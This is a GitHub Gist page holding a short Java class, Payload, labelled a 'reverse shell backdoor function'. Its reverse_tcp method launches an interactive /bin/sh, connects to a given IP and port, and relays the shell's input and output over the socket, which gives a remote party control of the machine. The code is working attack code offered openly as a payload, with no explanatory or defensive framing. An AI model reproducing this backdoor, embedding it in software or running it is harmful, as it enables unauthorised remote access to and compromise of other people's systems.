Created
January 16, 2023 10:57
-
-
Save n0mi1k/a2c0c230ba979409334e522ed2272226 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.io.IOException; | |
import java.io.InputStream; | |
import java.io.OutputStream; | |
import java.net.Socket; | |
// Reverse shell backdoor function | |
public class Payload { | |
public static void reverse_tcp(String ip,int port){ | |
try { | |
String[] str = {"/bin/sh","-i"}; | |
Process p = Runtime.getRuntime().exec(str); | |
InputStream pin = p.getInputStream(); | |
InputStream perr = p.getErrorStream(); | |
OutputStream pout = p.getOutputStream(); | |
Socket socket = new Socket(ip,port); | |
InputStream sin = socket.getInputStream(); | |
OutputStream sout = socket.getOutputStream(); | |
while(true){ | |
while(pin.available()>0) sout.write(pin.read()); | |
while(perr.available()>0) sout.write(perr.read()); | |
while(sin.available()>0) pout.write(sin.read()); | |
sout.flush(); | |
pout.flush(); | |
} | |
} catch (IOException e) { | |
e.printStackTrace(); | |
}catch (StringIndexOutOfBoundsException e) { | |
e.printStackTrace(); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment